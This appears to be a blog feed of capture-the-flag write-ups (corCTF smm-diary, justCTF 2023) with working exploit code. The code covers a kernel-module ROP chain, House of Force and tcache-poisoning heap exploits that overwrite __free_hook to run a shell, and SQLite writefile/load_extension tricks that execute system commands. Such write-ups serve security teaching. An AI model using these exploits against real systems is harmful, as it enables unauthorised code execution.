    <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">sz</span> <span class="o">/</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"%llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">p_buf</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">int</span> <span class="nf">do_exp</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"do_exp called </span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">smcc</span> <span class="o">=</span> <span class="n">find_smm_core_private_data</span><span class="p">();</span>

    <span class="n">payload_loc</span> <span class="o">=</span> <span class="n">find_data_reg</span><span class="p">();</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">payload_loc</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"to find payload loc</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// Map the physical address to a virtual address</span>
    <span class="n">io_addr</span> <span class="o">=</span> <span class="n">ioremap</span><span class="p">(</span><span class="n">payload_loc</span><span class="p">,</span> <span class="n">PAGE_SIZE</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">io_addr</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">pr_err</span><span class="p">(</span><span class="s">"unable to map payload loc %lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">payload_loc</span><span class="p">);</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">smcc</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"unable to find smcc</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"smmc addr: %llx </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">smcc</span><span class="p">);</span>

    <span class="kt">uint64_t</span> <span class="n">module_base</span> <span class="o">=</span> <span class="mh">0x0007FF9C000</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">flag_addr</span> <span class="o">=</span> <span class="mh">0x7ff9ebbc</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">copy_mem_addr</span> <span class="o">=</span> <span class="mh">0x7ff9dd26</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">nop</span> <span class="o">=</span> <span class="n">module_base</span> <span class="o">+</span> <span class="mh">0x1e6e</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">pop_r12_r13_ret</span> <span class="o">=</span> <span class="n">module_base</span> <span class="o">+</span> <span class="mh">0x1d43</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">pop_rbx_ret</span> <span class="o">=</span> <span class="n">module_base</span> <span class="o">+</span> <span class="mh">0x10e1</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">pop_rsp_r13_ret</span> <span class="o">=</span> <span class="n">module_base</span> <span class="o">+</span> <span class="mh">0x1d44</span><span class="p">;</span>

    <span class="kt">uint64_t</span> <span class="n">chain</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
        <span class="n">pop_r12_r13_ret</span><span class="p">,</span>
        <span class="n">payload_loc</span><span class="p">,</span>
        <span class="n">flag_addr</span><span class="p">,</span>
        <span class="n">pop_rbx_ret</span><span class="p">,</span>
        <span class="mh">0x40</span><span class="p">,</span>
        <span class="n">copy_mem_addr</span><span class="p">,</span>
        <span class="mh">0x41</span><span class="p">,</span>
        <span class="mh">0x41</span><span class="p">,</span>
        <span class="mh">0x41</span><span class="p">,</span>
        <span class="mh">0x41</span><span class="p">,</span>
        <span class="n">pop_rsp_r13_ret</span><span class="p">,</span>
        <span class="mh">0x7ffb6c90</span><span class="p">,</span> <span class="c1">// rsp of an intact stackframe</span>
    <span class="p">};</span>

    <span class="kt">char</span> <span class="n">note</span><span class="p">[</span><span class="mh">0x10</span><span class="p">];</span>
    <span class="kt">uint64_t</span> <span class="o">*</span><span class="n">p_note</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)</span><span class="n">note</span><span class="p">;</span>

    <span class="kt">int</span> <span class="n">idx</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
    <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x1</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">p_note</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">nop</span><span class="p">;</span>
        <span class="n">p_note</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">nop</span><span class="p">;</span>

        <span class="n">add_note</span><span class="p">(</span><span class="n">idx</span><span class="o">++</span><span class="p">,</span> <span class="n">note</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">chain</span><span class="p">)</span> <span class="o">/</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">uint64_t</span><span class="p">);</span> <span class="n">i</span><span class="o">+=</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">p_note</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">chain</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
        <span class="n">p_note</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">chain</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">];</span>

        <span class="n">add_note</span><span class="p">(</span><span class="n">idx</span><span class="o">++</span><span class="p">,</span> <span class="n">note</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="kt">uint64_t</span> <span class="n">rsp</span> <span class="o">=</span> <span class="mh">0x7ffb6ab0</span><span class="p">;</span>
    <span class="n">dump_notes</span><span class="p">(</span><span class="n">rsp</span><span class="p">);</span>

    <span class="kt">char</span> <span class="n">flag</span><span class="p">[</span><span class="mh">0x40</span><span class="p">];</span>
    <span class="n">memcpy_fromio</span><span class="p">(</span><span class="o">&amp;</span><span class="n">flag</span><span class="p">,</span> <span class="n">io_addr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">flag</span><span class="p">));</span>
    <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"Flag: %s </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">int</span> <span class="n">__init</span> <span class="nf">hello_init</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
 <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"Exploit module loaded</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
 <span class="k">return</span> <span class="n">do_exp</span><span class="p">();</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="n">__exit</span> <span class="nf">hello_exit</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
 <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"Exploit module unloaded</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>

<span class="n">module_init</span><span class="p">(</span><span class="n">hello_init</span><span class="p">);</span>
<span class="n">module_exit</span><span class="p">(</span><span class="n">hello_exit</span><span class="p">);</span>

<span class="c1">// corctf{uNch3CKeD_c0Mm_BufF3r:(}</span>
</code></pre></div></div>]]></content><author><name>H0ps</name></author><category term="cybersecurity" /><summary type="html"><![CDATA[Last weekend I played corCTF with ARESx and DeadSec. The ctf was very good and had high quality challenges. We ended up in 7th place. I solved zeroday, kcipher and almost smm-diary but sadly didn’t have time to finish it. On Kcipher and smm-diary I worked together with my teammate stdnoerr.]]></summary></entry><entry><title type="html">justCTF 2023</title><link href="https://ollrogge.github.io/cybersecurity/2023/06/05/justCTF202.html" rel="alternate" type="text/html" title="justCTF 2023" /><published>2023-06-05T00:00:00+00:00</published><updated>2023-06-05T00:00:00+00:00</updated><id>https://ollrogge.github.io/cybersecurity/2023/06/05/justCTF202</id><content type="html" xml:base="https://ollrogge.github.io/cybersecurity/2023/06/05/justCTF202.html"><![CDATA[<p>Last weekend I participated with <a href="https://twitter.com/ARESxCTF">ARESx</a> in <a href="https://2023.justctf.team/">justCTF</a> organized by justCatTheFish. This is a writeup of the challenges I solved: <a href="#my-house-sec">Welcome in my house</a>, <a href="#nucleus-sec">nucleus</a>, <a href="#not-a-bug-sec">notabug (unintended)</a> and <a href="#mystery-locker-sec">Mystery locker</a>.</p>

<p>The full exploit codes and challenge files can be found in my <a href="https://github.com/Ollrogge/CtfWriteups">repository</a>.</p>

<h2 id="my-house-sec">Welcome in my house</h2>
<p><img src="/assets/justctf2023-1.png" alt="Challenge menu" /></p>

<p>Welcome in my house was a heap pwn challenge. We can create users which consist of a username, a password and disk space. All three values are allocated on the heap. There are no bounds checks for username or password so we can arbitrary overflow the heap. For the disk space we have control over the allocated chunk size and can therefore allocate arbitrary big chunks. Furthermore, there is an option to read the flag. To read the flag we need to corrupt a chunk on the heap which contains the string “admin” and change it to “root”. Glibc is version 2.27.</p>

<p>Based on the name of the challenge and the fact that we have an arbitrary heap overflow and can allocate arbitrary big chunks, <a href="https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c">House of force</a> seemed like a good choice. For this we cause the top chunk to wrap around by allocating a very big chunk such that the next allocation overlaps with the chunk we want to corrupt.</p>

<h3 id="exploit">Exploit</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">create_user</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">pw</span><span class="p">,</span> <span class="n">space</span><span class="p">):</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"&gt;&gt;"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"name:"</span><span class="p">,</span> <span class="n">name</span><span class="p">)</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"word:"</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"space:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">space</span><span class="p">))</span>

<span class="n">io</span> <span class="o">=</span> <span class="n">start</span><span class="p">(</span><span class="n">argv</span><span class="p">,</span> <span class="n">env</span><span class="o">=</span><span class="n">env</span><span class="p">)</span>

<span class="n">payload1</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"A"</span><span class="o">*</span><span class="mh">0x10</span>

<span class="n">root</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"root</span><span class="se">\x00</span><span class="s">"</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mh">0x8</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>

<span class="n">payload2</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"root</span><span class="se">\x00</span><span class="s">"</span>
<span class="n">payload2</span> <span class="o">=</span> <span class="n">payload2</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mh">0x10</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>
<span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span>
<span class="c1"># corrupt size of top chunk to be very big
</span><span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xffffffffffffffff</span><span class="p">)</span>

<span class="c1"># allocate a very big chunk which will cause the top chunk to wrap around and
# corrupt chunk containing the string "admin" to "root"
</span><span class="n">create_user</span><span class="p">(</span><span class="n">payload1</span><span class="p">,</span> <span class="n">payload2</span><span class="p">,</span> <span class="mh">0xffffffffffffff60</span><span class="p">)</span>

<span class="n">io</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<h2 id="nucleus-sec">Nucleus</h2>
<p><img src="/assets/justctf2023-2.png" alt="Challenge menu" /></p>

<p>Nucleus was another heap pwn challenge. This time we are given a kind of compression tool. We can compress and decompress texts and the result will be stored on the heap. Furthermore we can cleanup (delete) the created compressed / decompressed texts. There is actually a fifth option which is not printed in the menu and can only be seen when examining the disassembly of the challenge file. This option allows us to show the contents of a compressed chunk.</p>

<p>In total we can have at most 8 chunks allocated at the same time. This time there is no function to read the flag so we need to actually get a shell. There was no libc provided so I just guessed the remote libc to be 2.31 based on a Dockerfile from another challenge of the same challenge author. This guess proved to be correct.</p>

<h3 id="bugs">Bugs</h3>
<p>There are two bugs I found:
The first bug is in the hidden show option. There is no check if the chunk we want to view is freed or not. Therefore we can view freed chunks which enables us to simply obtain heap / libc leaks.
The second bug is in the decompress option. For both compress and decompress, the challenge allocates a chunk of size <code class="language-plaintext highlighter-rouge">input_size * 2</code>. However when decompressing, the input data can become a lot bigger than that, resulting in a heap overflow.</p>

<p>To gain code execution I first obtained a libc leak by using the show option after freeing a chunk into the unsorted bin. Afterwards I did a simple tcache poison attack to corrupt <code class="language-plaintext highlighter-rouge">__free_hook</code> and then call <code class="language-plaintext highlighter-rouge">system(/bin/sh\x00)</code></p>

<h3 id="exploit-1">Exploit</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">compress</span><span class="p">(</span><span class="n">text</span><span class="p">):</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"&gt;"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"text:"</span><span class="p">,</span> <span class="n">text</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">decompress</span><span class="p">(</span><span class="n">text</span><span class="p">):</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"&gt;"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">2</span><span class="p">))</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"text:"</span><span class="p">,</span> <span class="n">text</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">content</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"&gt;"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">5</span><span class="p">))</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"Idx: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">free</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span> <span class="n">compressed</span><span class="o">=</span><span class="bp">True</span><span class="p">):</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"&gt;"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">3</span><span class="p">))</span>
    <span class="k">if</span> <span class="n">compressed</span><span class="p">:</span>
        <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"(c/d):"</span><span class="p">,</span> <span class="s">"c"</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"(c/d):"</span><span class="p">,</span> <span class="s">"d"</span><span class="p">)</span>

    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"Idx: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>

<span class="c1"># Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
# pwndbg tele command
</span><span class="n">gdbscript</span> <span class="o">=</span> <span class="s">'''
continue
'''</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="o">**</span><span class="nb">locals</span><span class="p">())</span>

<span class="c1">#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
</span>
<span class="n">io</span> <span class="o">=</span> <span class="n">start</span><span class="p">(</span><span class="n">argv</span><span class="p">,</span> <span class="n">env</span><span class="o">=</span><span class="n">env</span><span class="p">)</span>

<span class="c1"># decompress + compress &lt;= 8
</span>
<span class="n">compress</span><span class="p">(</span><span class="s">"A"</span><span class="o">*</span><span class="mh">0x210</span><span class="p">)</span> <span class="c1">#0
</span><span class="n">compress</span><span class="p">(</span><span class="s">"B"</span><span class="p">)</span> <span class="c1">#1
</span>
<span class="n">free</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">content</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>

<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"content: "</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">rstrip</span><span class="p">()</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mh">0x8</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">))</span>
<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="mh">0x1ecbe0</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Libc base:"</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span><span class="p">))</span>

<span class="n">compress</span><span class="p">(</span><span class="s">"A"</span><span class="o">*</span><span class="mh">0x10</span><span class="p">)</span> <span class="c1">#2
</span><span class="n">compress</span><span class="p">(</span><span class="s">"A"</span><span class="o">*</span><span class="mh">0x10</span><span class="p">)</span> <span class="c1">#3
</span><span class="n">compress</span><span class="p">(</span><span class="s">"A"</span><span class="o">*</span><span class="mh">0x10</span><span class="p">)</span> <span class="c1">#4
</span>
<span class="n">free</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
<span class="n">free</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
<span class="n">free</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>

<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"$48A"</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">[</span><span class="s">'__free_hook'</span><span class="p">])</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">payload</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mh">0x10</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>

<span class="n">decompress</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span> <span class="c1">#0
</span>
<span class="n">decompress</span><span class="p">(</span><span class="sa">b</span><span class="s">"/bin/sh</span><span class="se">\x00</span><span class="s">"</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mh">0x10</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">))</span> <span class="c1">#1
</span>
<span class="n">decompress</span><span class="p">(</span><span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">[</span><span class="s">'system'</span><span class="p">]).</span><span class="n">ljust</span><span class="p">(</span><span class="mh">0x10</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">))</span>

<span class="n">free</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="bp">False</span><span class="p">)</span>

<span class="n">io</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<h2 id="not-a-bug-sec">notabug (unintended)</h2>
<p>Notabug was pwn challenge which required pwning the latest version of SQLite. The challenge simply gives us a SQLite prompt where we can insert any prompt. No patches were applied to the SQLite binary.</p>

<p>Initially I refrained from trying this challenge as it seemed quite hard. After a few hours though there was a second version of this challenge released with the following description: “Let it roll ( :) this time intended way). It’s a feature, not a bug!”. So there must be unintended ways to solve the first part of the challenge. This motivated me to look into the first part.</p>

<p>The first thing I did was to compare the challenge files for the first and second version of the challenge. The only difference I found was in the <code class="language-plaintext highlighter-rouge">nsjail.cfg</code> file:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>diff notabug/private/nsjail.cfg notabug2/private/nsjail.cfg
53c53
&lt; rlimit_fsize: 32	<span class="c"># max size of files the process may create in MiB</span>
<span class="nt">---</span>
<span class="o">&gt;</span> rlimit_fsize: 0		<span class="c"># max size of files the process may create in MiB</span>
</code></pre></div></div>

<p>In notabug version 1, the SQLite process was allowed to create files. This was removed in the second version. With this in mind, me and my fellow friend ChatGPT worked on a solution.</p>

<h3 id="loading-my-own-sqlite-extension">Loading my own SQLite extension</h3>
<p>SQLite has a <code class="language-plaintext highlighter-rouge">load_extension</code> function which allows to load SQLite extensions at runtime. These extensions are simply shared libraries. Loading an extension can be done with a single prompt:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">load_extension</span><span class="p">(</span><span class="s1">'/path/to/extension.so'</span><span class="p">);</span>
</code></pre></div></div>

<p>Based on this I tried to create my own SQLite extension to gain code exectution. And it worked ! I could call any command using the <code class="language-plaintext highlighter-rouge">system</code> function:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;sqlite3ext.h&gt;</span><span class="cp">
</span><span class="n">SQLITE_EXTENSION_INIT1</span>

<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">sqlite3_extension_init</span><span class="p">(</span>
  <span class="n">sqlite3</span> <span class="o">*</span><span class="n">db</span><span class="p">,</span>
  <span class="kt">char</span> <span class="o">**</span><span class="n">pzErrMsg</span><span class="p">,</span>
  <span class="k">const</span> <span class="n">sqlite3_api_routines</span> <span class="o">*</span><span class="n">pApi</span>
<span class="p">)</span> <span class="p">{</span>
  <span class="n">SQLITE_EXTENSION_INIT2</span><span class="p">(</span><span class="n">pApi</span><span class="p">)</span>
  <span class="n">system</span><span class="p">(</span><span class="s">"/jailed/readflag"</span><span class="p">);</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>What was left now was to find a way to save my malicious library on the challenge server. This is where the different <code class="language-plaintext highlighter-rouge">nsjail.cfg</code> files come into play. SQLite also has a <code class="language-plaintext highlighter-rouge">writefile</code> function which allows writing a BLOB to a file:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">writefile</span><span class="p">(</span><span class="s1">'/path/to/output.file'</span><span class="p">,</span> <span class="n">blob_content</span><span class="p">);</span>
</code></pre></div></div>

<p>With this I could now easily save my malicious library on the remote server and load it as extension.</p>

<h3 id="exploit-2">Exploit</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">io</span> <span class="o">=</span> <span class="n">start</span><span class="p">(</span><span class="n">argv</span><span class="p">,</span> <span class="n">env</span><span class="o">=</span><span class="n">env</span><span class="p">)</span>

<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"lib.so"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">data</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>

<span class="n">data</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="nb">hex</span><span class="p">()</span>

<span class="n">payload</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"SELECT writefile('/tmp/lib.so', x'</span><span class="si">{</span><span class="n">data</span><span class="si">}</span><span class="s">');"</span>

<span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"&gt;"</span><span class="p">,</span><span class="n">payload</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"&gt;"</span><span class="p">,</span> <span class="s">"SELECT load_extension('/tmp/lib.so');"</span><span class="p">)</span>

<span class="n">io</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<h3 id="other-unintended-solutions">Other unintended solutions</h3>
<p>There are probably many other ways to solve this challenge in an unintended way. Someone in discord even posted an unintended solution which worked on both versions of the challenge:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sqlite</span><span class="o">&gt;</span> <span class="p">.</span><span class="k">open</span> <span class="p">:</span><span class="n">memory</span><span class="p">:</span>
<span class="n">sqlite</span><span class="o">&gt;</span> <span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">t</span><span class="p">(</span><span class="n">a</span> <span class="nb">INT</span><span class="p">,</span> <span class="n">b</span> <span class="nb">VARCHAR</span><span class="p">(</span><span class="mi">200</span><span class="p">));</span>
<span class="n">sqlite</span><span class="o">&gt;</span> <span class="k">insert</span> <span class="k">into</span> <span class="n">t</span> <span class="k">values</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="s1">''</span><span class="p">);</span>
<span class="n">sqlite</span><span class="o">&gt;</span> <span class="k">update</span> <span class="n">t</span> <span class="k">set</span> <span class="n">b</span><span class="o">=</span><span class="n">edit</span><span class="p">(</span><span class="s1">''</span><span class="p">,</span><span class="s1">'/jailed/readflag'</span><span class="p">)</span> <span class="k">where</span> <span class="n">a</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
</code></pre></div></div>
<h3 id="intended-solution">Intended solution</h3>
<p>The intended solution involved actual binary exploitation based on the fact that one can use the <code class="language-plaintext highlighter-rouge">load_extension</code> function to load and execute functions contained in libc. E.g. <code class="language-plaintext highlighter-rouge">select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','puts');</code> to execute puts.</p>

<p><a href="https://uz56764.tistory.com/103">Here</a> is a full writeup of a team that solved the challenge in the intended way.</p>

<h2 id="mystery-locker-sec">Mystery locker</h2>
<p><img src="/assets/justctf2023-3.png" alt="Challenge menu" /></p>

<p>Mystery locker was the third heap pwn challenge of this ctf. This challenge emulates a kind of filesystem and allows us to create files by specifying a name and contents. The challenge binary then hashes the supplied filename and creates an actual file, with the hashed name and the contents given by us, inside a directory named fs which the challenge creates.</p>

<p>Both filename and content get allocated on the heap and the max size of both is 0x400. Furthermore, both chunks get freed at the end of the function after the file has been created, renamed, deleted or printed.  This means we can only work with at most 2 chunks a time which will get freed immediately after the file has been written. If we try to delete or print a chunk that doesn’t exist however, a chunk will get allocated and never freed. This is useful if we want to expand the heap and I will use this fact in my exploit. There is no limit on how many files we can create. Furthermore the challenge will read in our input until either the size limit is reached or a nullbyte is read. This limits our ability to corrupt things because we can only write a single address at once. Additionally, the challenge uses a <code class="language-plaintext highlighter-rouge">function table</code> allocated on the heap to store the menu functions (create/rename/print/delete/exit). If we manage to corrupt this chunk we will be able to call arbitrary functions.</p>

<p>Libc version is 2.37 meaning we have to deal with safe linking and malloc / free hooks won’t work.</p>

<h3 id="bugs-1">Bugs</h3>
<p>The bug of this challenge is inside the function that reads our input:</p>

<p><img src="/assets/justctf2023-4.png" alt="Disassembly of function" /></p>

